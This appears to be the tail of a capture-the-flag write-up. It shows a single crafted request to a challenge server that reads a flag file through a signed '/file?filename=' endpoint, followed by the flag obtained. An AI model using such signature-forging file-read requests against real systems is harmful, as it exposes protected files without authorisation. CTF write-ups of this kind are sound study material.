http://49.4.78.81:30980/file?filename=/fllllllllllag&signature=7bae09c2c6e2f6aa34df7dbee23db960

得到

flag{67a3d3dec827645c1c92d1f2160c744f}
0 条评论
某人
表情
可输入 255